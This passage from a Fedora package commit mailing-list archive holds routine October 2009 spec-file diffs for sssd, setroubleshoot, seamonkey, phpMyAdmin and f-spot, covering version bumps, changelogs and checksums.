RCS file: /cvs/pkgs/rpms/sssd/F-12/sssd.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sssd.spec	29 Sep 2009 12:42:59 -0000	1.22
+++ sssd.spec	13 Oct 2009 20:37:15 -0000	1.23
@@ -1,7 +1,8 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name: sssd
-Version: 0.6.0
+Version: 0.6.1
 Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
@@ -16,14 +17,13 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 ### Patches ###
 
 Patch1: 0001-Tighten-up-permission.patch
-Patch2: 0002-Fix-infinite-loop-with-empty-group-enumeration.patch
 
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
 
-Requires: sssd-client = 0.6.0
+Requires: sssd-client = 0.6.1
 Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
@@ -78,7 +78,6 @@ service.
 %setup -q
 
 %patch1 -p1 -b .tighten_permission
-%patch2 -p1 -b .infinite_group_loop
 
 %build
 %configure \
@@ -109,6 +108,10 @@ rm -f \
 mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
 install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
 
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d
+install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
+install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
+
 touch locator.filelist
 if test -e $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so
 then
@@ -137,8 +140,11 @@ rm -rf $RPM_BUILD_ROOT
 %attr(755,root,root) %dir %{pipepath}
 %attr(700,root,root) %dir %{pipepath}/private
 %attr(750,root,root) %dir %{_var}/log/%{name}
-%dir %{_sysconfdir}/sssd
+%attr(700,root,root) %dir %{_sysconfdir}/sssd
 %config(noreplace) %{_sysconfdir}/sssd/sssd.conf
+%config %{_sysconfdir}/sssd/sssd.api.conf
+%attr(700,root,root) %dir %{_sysconfdir}/sssd/sssd.api.d
+%config %{_sysconfdir}/sssd/sssd.api.d/
 %{_mandir}/man5/sssd.conf.5*
 %{_mandir}/man5/sssd-krb5.5*
 %{_mandir}/man5/sssd-ldap.5*
@@ -153,6 +159,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/locale/*/LC_MESSAGES/sss_client.mo
 %{_datadir}/locale/*/LC_MESSAGES/sss_daemon.mo
 %{python_sitearch}/pysss.so
+%{python_sitelib}/*.py*
+%{?fedora:%{python_sitelib}/*.egg-info}
 
 %files client
 /%{_lib}/libnss_sss.so.2
@@ -180,6 +188,12 @@ if [ $1 -ge 1 ] ; then
 fi
 
 %changelog
+* Tue Oct 13 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-1
+- Add SSSDConfig API
+- Update polish translation for 0.6.0
+- Fix long timeout on ldap operation
+- Make dp requests more robust
+
 * Tue Sep 29 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.0-1
 - Ensure that the configuration upgrade script always writes the config
   file with 0600 permissions


--- 0002-Fix-infinite-loop-with-empty-group-enumeration.patch DELETED ---



From dwalsh at fedoraproject.org  Tue Oct 13 21:20:15 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 13 Oct 2009 21:20:15 +0000 (UTC)
Subject: rpms/setroubleshoot/devel .cvsignore, 1.132,
	1.133 setroubleshoot.spec, 1.172, 1.173 sources, 1.145, 1.146
Message-ID: <20091013212015.4D86311C029E@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12007

Modified Files:
	.cvsignore setroubleshoot.spec sources 
Log Message:
* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.39-1
- Catch additional bugzilla exception



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/.cvsignore,v
retrieving revision 1.132
retrieving revision 1.133
diff -u -p -r1.132 -r1.133
--- .cvsignore	8 Oct 2009 16:29:39 -0000	1.132
+++ .cvsignore	13 Oct 2009 21:20:14 -0000	1.133
@@ -50,3 +50,4 @@ setroubleshoot-2.2.35.tar.gz
 setroubleshoot-2.2.36.tar.gz
 setroubleshoot-2.2.37.tar.gz
 setroubleshoot-2.2.38.tar.gz
+setroubleshoot-2.2.39.tar.gz


Index: setroubleshoot.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/setroubleshoot.spec,v
retrieving revision 1.172
retrieving revision 1.173
diff -u -p -r1.172 -r1.173
--- setroubleshoot.spec	8 Oct 2009 16:29:39 -0000	1.172
+++ setroubleshoot.spec	13 Oct 2009 21:20:14 -0000	1.173
@@ -1,6 +1,6 @@
 Summary: Helps troubleshoot SELinux problems
 Name: setroubleshoot
-Version: 2.2.38
+Version: 2.2.39
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -212,6 +212,9 @@ Setroubleshoot documentation package
 %doc %{pkgdocdir}
 
 %changelog
+* Tue Oct 13 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.39-1
+- Catch additional bugzilla exception
+
 * Thu Oct 8 2009 Dan Walsh <dwalsh at redhat.com> - 2.2.38-1
 - Show that the application is starting.
 - Fix ignore sealert button


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot/devel/sources,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- sources	8 Oct 2009 16:29:39 -0000	1.145
+++ sources	13 Oct 2009 21:20:15 -0000	1.146
@@ -1 +1 @@
-4bcaa39f543097e35c02f0c42c627a29  setroubleshoot-2.2.38.tar.gz
+ccc4cb3aa412a0b835d6d7f7bfe481d6  setroubleshoot-2.2.39.tar.gz



From dwalsh at fedoraproject.org  Tue Oct 13 21:20:31 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 13 Oct 2009 21:20:31 +0000 (UTC)
Subject: rpms/setroubleshoot-plugins/devel .cvsignore, 1.42,
	1.43 setroubleshoot-plugins.spec, 1.48, 1.49 sources, 1.43, 1.44
Message-ID: <20091013212031.E93EE11C029E@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/setroubleshoot-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12143

Modified Files:
	.cvsignore setroubleshoot-plugins.spec sources 
Log Message:
* Tue Oct 13 2009  <dwalsh at redhat.com> - 2.1.27-1
- Add vbetool plugin



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	7 Oct 2009 21:45:12 -0000	1.42
+++ .cvsignore	13 Oct 2009 21:20:31 -0000	1.43
@@ -32,3 +32,4 @@ setroubleshoot-plugins-2.1.23.tar.gz
 setroubleshoot-plugins-2.1.24.tar.gz
 setroubleshoot-plugins-2.1.25.tar.gz
 setroubleshoot-plugins-2.1.26.tar.gz
+setroubleshoot-plugins-2.1.27.tar.gz


Index: setroubleshoot-plugins.spec
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/setroubleshoot-plugins.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- setroubleshoot-plugins.spec	7 Oct 2009 21:45:13 -0000	1.48
+++ setroubleshoot-plugins.spec	13 Oct 2009 21:20:31 -0000	1.49
@@ -1,6 +1,6 @@
 Summary: Analysis plugins for use with setroubleshoot
 Name: setroubleshoot-plugins
-Version: 2.1.26
+Version: 2.1.27
 Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
@@ -52,6 +52,9 @@ rm -rf %{buildroot}
 %{_datadir}/setroubleshoot/plugins
 
 %changelog
+* Tue Oct 13 2009  <dwalsh at redhat.com> - 2.1.27-1
+- Add vbetool plugin
+
 * Thu Oct 7 2009  <dwalsh at redhat.com> - 2.1.26-1
 - Add wine plugin
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/setroubleshoot-plugins/devel/sources,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- sources	7 Oct 2009 21:45:13 -0000	1.43
+++ sources	13 Oct 2009 21:20:31 -0000	1.44
@@ -1 +1 @@
-34c72465619aa3a6ffa8c2e90936f5b2  setroubleshoot-plugins-2.1.26.tar.gz
+3eaa80b0e80efa9454e30d89b330bb66  setroubleshoot-plugins-2.1.27.tar.gz



From stransky at fedoraproject.org  Tue Oct 13 21:27:36 2009
From: stransky at fedoraproject.org (Martin Stransky)
Date: Tue, 13 Oct 2009 21:27:36 +0000 (UTC)
Subject: rpms/seamonkey/F-12 .cvsignore, 1.27, 1.28 seamonkey.spec, 1.63,
	1.64 sources, 1.29, 1.30 seamonkey-2.0-hunspell.patch, 1.1, NONE
Message-ID: <20091013212737.0049211C00E8@cvs1.fedora.phx.redhat.com>

Author: stransky

Update of /cvs/pkgs/rpms/seamonkey/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13462

Modified Files:
	.cvsignore seamonkey.spec sources 
Removed Files:
	seamonkey-2.0-hunspell.patch 
Log Message:
Update to RC1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	23 Sep 2009 09:08:48 -0000	1.27
+++ .cvsignore	13 Oct 2009 21:27:36 -0000	1.28
@@ -3,3 +3,5 @@ seamonkey-2.0b1-source.tar.bz2
 seamonkey-langpacks-2.0b1-20090724.tar.bz2
 seamonkey-2.0b2.source.tar.bz2
 seamonkey-langpacks-2.0b2-20090923.tar.bz2
+seamonkey-2.0rc1.source.tar.bz2
+seamonkey-langpacks-2.0-20091013.tar.bz2


Index: seamonkey.spec
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/seamonkey.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- seamonkey.spec	23 Sep 2009 13:20:35 -0000	1.63
+++ seamonkey.spec	13 Oct 2009 21:27:36 -0000	1.64
@@ -5,26 +5,26 @@
 %define minimum_build_nspr_version 4.7.2
 %define minimum_build_nss_version 3.12
 
-%define prerelease_tag b2
+%define prerelease_tag rc1
 
 %define build_langpacks 1
 
 %define _unpackaged_files_terminate_build 0
 %define builddir %{_builddir}/%{name}-%{version}
-%define mozdir %{_libdir}/seamonkey-%{version}%{?prerelease_tag}
+%define mozdir %{_libdir}/seamonkey-%{version}
 %define sources_subdir comm-central
 
 
 Name:           seamonkey
 Summary:        Web browser, e-mail, news, IRC client, HTML editor
 Version:        2.0
-Release:        3.beta2%{?dist}
+Release:        4%{?dist}
 URL:            http://www.mozilla.org/projects/seamonkey/
 License:        MPLv1.1
 Group:          Applications/Internet
 
 Source0:        seamonkey-%{version}%{?prerelease_tag}.source.tar.bz2
-Source1:        seamonkey-langpacks-%{version}%{?prerelease_tag}-20090923.tar.bz2
+Source1:        seamonkey-langpacks-%{version}-20091013.tar.bz2
 Source2:        seamonkey-icon.png
 Source3:        seamonkey.sh.in
 Source4:        seamonkey.desktop
@@ -39,7 +39,6 @@ Source100:      find-external-requires
 
 Patch0:         mozilla-jemalloc.patch
 Patch1:         mozilla-191-path.patch
-Patch2:         seamonkey-2.0-hunspell.patch
 
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  nspr-devel >= %{minimum_build_nspr_version}
@@ -98,7 +97,6 @@ cd %{sources_subdir}
 
 %patch0 -p0 -b .jemalloc
 %patch1 -p0 -b .path
-%patch2 -p2 -b .hunspell
 
 %{__rm} -f .mozconfig
 %{__cp} %{SOURCE10} .mozconfig
@@ -119,7 +117,7 @@ MOZ_SMP_FLAGS=-j1
 %ifnarch ppc ppc64 s390 s390x
 [ -z "$RPM_BUILD_NCPUS" ] && \
      RPM_BUILD_NCPUS="`/usr/bin/getconf _NPROCESSORS_ONLN`"
-[ "$RPM_BUILD_NCPUS" -gt 1 ] && MOZ_SMP_FLAGS=-j1
+[ "$RPM_BUILD_NCPUS" -gt 1 ] && MOZ_SMP_FLAGS=-j2
 %endif
 
 make -f client.mk build STRIP="/bin/true" MOZ_MAKE_FLAGS="$MOZ_SMP_FLAGS"
@@ -344,6 +342,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Tue Oct 13 2009 Martin Stransky <stransky at redhat.com> 2.0-4
+- Update to 2.0 RC1
+
 * Wed Sep 23 2009 Martin Stransky <stransky at redhat.com> 2.0-3.beta2
 - Update to 2.0 beta 2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/F-12/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	23 Sep 2009 09:08:48 -0000	1.29
+++ sources	13 Oct 2009 21:27:36 -0000	1.30
@@ -1,2 +1,2 @@
-a058aeadc540a6fd58873ae1e51c23e0  seamonkey-2.0b2.source.tar.bz2
-420414dcd91f96313cec7d327d98daae  seamonkey-langpacks-2.0b2-20090923.tar.bz2
+d174e105939e0fea967b7f0df370cbfb  seamonkey-2.0rc1.source.tar.bz2
+92d033799d61b7ba6f5137706f30f165  seamonkey-langpacks-2.0-20091013.tar.bz2


--- seamonkey-2.0-hunspell.patch DELETED ---



From robert at fedoraproject.org  Tue Oct 13 21:41:23 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 13 Oct 2009 21:41:23 +0000 (UTC)
Subject: rpms/phpMyAdmin/EL-4 .cvsignore, 1.26, 1.27 phpMyAdmin.spec, 1.36, 
	1.37 sources, 1.30, 1.31
Message-ID: <20091013214123.3073511C00E8@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/phpMyAdmin/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19082/EL-4

Modified Files:
	.cvsignore phpMyAdmin.spec sources 
Log Message:
Upstream released 2.11.9.6 (#528769)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/EL-4/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	25 Mar 2009 08:59:11 -0000	1.26
+++ .cvsignore	13 Oct 2009 21:41:22 -0000	1.27
@@ -1 +1 @@
-phpMyAdmin-2.11.9.5-all-languages.tar.bz2
+phpMyAdmin-2.11.9.6-all-languages.tar.bz2


Index: phpMyAdmin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/EL-4/phpMyAdmin.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- phpMyAdmin.spec	13 Sep 2009 15:17:35 -0000	1.36
+++ phpMyAdmin.spec	13 Oct 2009 21:41:22 -0000	1.37
@@ -1,6 +1,6 @@
 Name: phpMyAdmin
-Version: 2.11.9.5
-Release: 2%{?dist}
+Version: 2.11.9.6
+Release: 1%{?dist}
 Summary: Web based MySQL browser written in php
 
 Group:	Applications/Internet
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Robert Scheck <robert at fedoraproject.org> 2.11.9.6-1
+- Upstream released 2.11.9.6 (#528769)
+
 * Sun Sep 13 2009 Robert Scheck <robert at fedoraproject.org> 2.11.9.5-2
 - Added ::1 for localhost/loopback access (for IPv6 users)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/EL-4/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	25 Mar 2009 08:59:11 -0000	1.30
+++ sources	13 Oct 2009 21:41:22 -0000	1.31
@@ -1 +1 @@
-cba2d46f02126d8c8119bb310ddc8f68  phpMyAdmin-2.11.9.5-all-languages.tar.bz2
+d8f0722b41c208e923c80764c93b8678  phpMyAdmin-2.11.9.6-all-languages.tar.bz2



From robert at fedoraproject.org  Tue Oct 13 21:41:23 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 13 Oct 2009 21:41:23 +0000 (UTC)
Subject: rpms/phpMyAdmin/EL-5 .cvsignore, 1.26, 1.27 phpMyAdmin.spec, 1.36, 
	1.37 sources, 1.30, 1.31
Message-ID: <20091013214123.4FDE211C00E8@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/phpMyAdmin/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19082/EL-5

Modified Files:
	.cvsignore phpMyAdmin.spec sources 
Log Message:
Upstream released 2.11.9.6 (#528769)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/EL-5/.cvsignore,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- .cvsignore	25 Mar 2009 08:59:12 -0000	1.26
+++ .cvsignore	13 Oct 2009 21:41:23 -0000	1.27
@@ -1 +1 @@
-phpMyAdmin-2.11.9.5-all-languages.tar.bz2
+phpMyAdmin-2.11.9.6-all-languages.tar.bz2


Index: phpMyAdmin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/EL-5/phpMyAdmin.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- phpMyAdmin.spec	13 Sep 2009 15:17:35 -0000	1.36
+++ phpMyAdmin.spec	13 Oct 2009 21:41:23 -0000	1.37
@@ -1,6 +1,6 @@
 Name: phpMyAdmin
-Version: 2.11.9.5
-Release: 2%{?dist}
+Version: 2.11.9.6
+Release: 1%{?dist}
 Summary: Web based MySQL browser written in php
 
 Group:	Applications/Internet
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Robert Scheck <robert at fedoraproject.org> 2.11.9.6-1
+- Upstream released 2.11.9.6 (#528769)
+
 * Sun Sep 13 2009 Robert Scheck <robert at fedoraproject.org> 2.11.9.5-2
 - Added ::1 for localhost/loopback access (for IPv6 users)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/EL-5/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	25 Mar 2009 08:59:12 -0000	1.30
+++ sources	13 Oct 2009 21:41:23 -0000	1.31
@@ -1 +1 @@
-cba2d46f02126d8c8119bb310ddc8f68  phpMyAdmin-2.11.9.5-all-languages.tar.bz2
+d8f0722b41c208e923c80764c93b8678  phpMyAdmin-2.11.9.6-all-languages.tar.bz2



From chkr at fedoraproject.org  Tue Oct 13 21:48:38 2009
From: chkr at fedoraproject.org (chkr)
Date: Tue, 13 Oct 2009 21:48:38 +0000 (UTC)
Subject: rpms/f-spot/F-11 f-spot.spec,1.94,1.95
Message-ID: <20091013214838.8BCB511C00E8@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/f-spot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21926

Modified Files:
	f-spot.spec 
Log Message:
fix typo in %changelog



Index: f-spot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/f-spot/F-11/f-spot.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- f-spot.spec	12 Oct 2009 21:45:47 -0000	1.94
+++ f-spot.spec	13 Oct 2009 21:48:38 -0000	1.95
@@ -139,7 +139,7 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/screensavers/f-spot-screensaver.desktop
 
 %changelog
-* Mon Oct 12 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-2
+* Mon Oct 12 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.1.3-1
 - Update to 0.6.1.3 (BZ 526217)
 - Remove two upstreamed patches
 - Use a slightly different fix for the cairo-devel dependency



From robert at fedoraproject.org  Tue Oct 13 21:50:05 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 13 Oct 2009 21:50:05 +0000 (UTC)
Subject: rpms/phpMyAdmin/F-10 .cvsignore, 1.42, 1.43 phpMyAdmin.spec, 1.46, 
	1.47 sources, 1.42, 1.43
Message-ID: <20091013215005.4772511C029E@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/phpMyAdmin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22533/F-10

Modified Files:
	.cvsignore phpMyAdmin.spec sources 
Log Message:
- Upstream released 3.2.2.1 (#528769)
- Require php-mcrypt for cookie authentication (#526979)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-10/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	13 Sep 2009 15:14:40 -0000	1.42
+++ .cvsignore	13 Oct 2009 21:50:03 -0000	1.43
@@ -1 +1 @@
-phpMyAdmin-3.2.2-all-languages.tar.bz2
+phpMyAdmin-3.2.2.1-all-languages.tar.bz2


Index: phpMyAdmin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-10/phpMyAdmin.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- phpMyAdmin.spec	13 Sep 2009 15:14:40 -0000	1.46
+++ phpMyAdmin.spec	13 Oct 2009 21:50:04 -0000	1.47
@@ -1,5 +1,5 @@
 Name: phpMyAdmin
-Version: 3.2.2
+Version: 3.2.2.1
 Release: 1%{?dist}
 Summary: Web based MySQL browser written in php
 
@@ -16,6 +16,7 @@ Requires: webserver 
 Requires: php >= 5.2.0
 Requires: php-mysql >= 5.2.0
 Requires: php-mbstring >= 5.2.0
+Requires: php-mcrypt >= 5.2.0
 Provides: phpmyadmin 
 
 %description
@@ -54,6 +55,10 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2.1-1
+- Upstream released 3.2.2.1 (#528769)
+- Require php-mcrypt for cookie authentication (#526979)
+
 * Sun Sep 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2-1
 - Upstream released 3.2.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-10/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	13 Sep 2009 15:14:40 -0000	1.42
+++ sources	13 Oct 2009 21:50:04 -0000	1.43
@@ -1 +1 @@
-a5f6492f89ee1ff17b76593af79640ce  phpMyAdmin-3.2.2-all-languages.tar.bz2
+093a22e8ffc7c701e8a671491abbd650  phpMyAdmin-3.2.2.1-all-languages.tar.bz2



From robert at fedoraproject.org  Tue Oct 13 21:50:06 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 13 Oct 2009 21:50:06 +0000 (UTC)
Subject: rpms/phpMyAdmin/F-11 .cvsignore, 1.42, 1.43 phpMyAdmin.spec, 1.47, 
	1.48 sources, 1.42, 1.43
Message-ID: <20091013215006.899D311C029E@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/phpMyAdmin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22533/F-11

Modified Files:
	.cvsignore phpMyAdmin.spec sources 
Log Message:
- Upstream released 3.2.2.1 (#528769)
- Require php-mcrypt for cookie authentication (#526979)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-11/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	13 Sep 2009 15:14:41 -0000	1.42
+++ .cvsignore	13 Oct 2009 21:50:05 -0000	1.43
@@ -1 +1 @@
-phpMyAdmin-3.2.2-all-languages.tar.bz2
+phpMyAdmin-3.2.2.1-all-languages.tar.bz2


Index: phpMyAdmin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-11/phpMyAdmin.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- phpMyAdmin.spec	13 Sep 2009 15:14:41 -0000	1.47
+++ phpMyAdmin.spec	13 Oct 2009 21:50:05 -0000	1.48
@@ -1,5 +1,5 @@
 Name: phpMyAdmin
-Version: 3.2.2
+Version: 3.2.2.1
 Release: 1%{?dist}
 Summary: Web based MySQL browser written in php
 
@@ -16,6 +16,7 @@ Requires: webserver 
 Requires: php >= 5.2.0
 Requires: php-mysql >= 5.2.0
 Requires: php-mbstring >= 5.2.0
+Requires: php-mcrypt >= 5.2.0
 Provides: phpmyadmin 
 
 %description
@@ -54,6 +55,10 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2.1-1
+- Upstream released 3.2.2.1 (#528769)
+- Require php-mcrypt for cookie authentication (#526979)
+
 * Sun Sep 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2-1
 - Upstream released 3.2.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/F-11/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	13 Sep 2009 15:14:41 -0000	1.42
+++ sources	13 Oct 2009 21:50:05 -0000	1.43
@@ -1 +1 @@
-a5f6492f89ee1ff17b76593af79640ce  phpMyAdmin-3.2.2-all-languages.tar.bz2
+093a22e8ffc7c701e8a671491abbd650  phpMyAdmin-3.2.2.1-all-languages.tar.bz2



From robert at fedoraproject.org  Tue Oct 13 21:50:07 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 13 Oct 2009 21:50:07 +0000 (UTC)
Subject: rpms/phpMyAdmin/devel .cvsignore, 1.42, 1.43 phpMyAdmin.spec, 1.48, 
	1.49 sources, 1.42, 1.43
Message-ID: <20091013215007.AD2B411C029E@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/phpMyAdmin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22533/devel

Modified Files:
	.cvsignore phpMyAdmin.spec sources 
Log Message:
- Upstream released 3.2.2.1 (#528769)
- Require php-mcrypt for cookie authentication (#526979)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/devel/.cvsignore,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- .cvsignore	13 Sep 2009 15:14:41 -0000	1.42
+++ .cvsignore	13 Oct 2009 21:50:06 -0000	1.43
@@ -1 +1 @@
-phpMyAdmin-3.2.2-all-languages.tar.bz2
+phpMyAdmin-3.2.2.1-all-languages.tar.bz2


Index: phpMyAdmin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/devel/phpMyAdmin.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- phpMyAdmin.spec	13 Sep 2009 15:14:41 -0000	1.48
+++ phpMyAdmin.spec	13 Oct 2009 21:50:06 -0000	1.49
@@ -1,5 +1,5 @@
 Name: phpMyAdmin
-Version: 3.2.2
+Version: 3.2.2.1
 Release: 1%{?dist}
 Summary: Web based MySQL browser written in php
 
@@ -16,6 +16,7 @@ Requires: webserver 
 Requires: php >= 5.2.0
 Requires: php-mysql >= 5.2.0
 Requires: php-mbstring >= 5.2.0
+Requires: php-mcrypt >= 5.2.0
 Provides: phpmyadmin 
 
 %description
@@ -54,6 +55,10 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/%{name}
 
 %changelog
+* Tue Oct 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2.1-1
+- Upstream released 3.2.2.1 (#528769)
+- Require php-mcrypt for cookie authentication (#526979)
+
 * Sun Sep 13 2009 Robert Scheck <robert at fedoraproject.org> 3.2.2-1
 - Upstream released 3.2.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/phpMyAdmin/devel/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	13 Sep 2009 15:14:41 -0000	1.42
+++ sources	13 Oct 2009 21:50:06 -0000	1.43
@@ -1 +1 @@
-a5f6492f89ee1ff17b76593af79640ce  phpMyAdmin-3.2.2-all-languages.tar.bz2
+093a22e8ffc7c701e8a671491abbd650  phpMyAdmin-3.2.2.1-all-languages.tar.bz2



From robert at fedoraproject.org  Tue Oct 13 21:50:06 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 13 Oct 2009 21:50:06 +0000 (UTC)
Subject: rpms/phpMyAdmin/F-12 .cvsignore, 1.42, 1.43 phpMyAdmin.spec, 1.48, 
	1.49 sources, 1.42, 1.43
Message-ID: <20091013215006.C8C6811C029E@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/phpMyAdmin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22533/F-12

Modified Files:
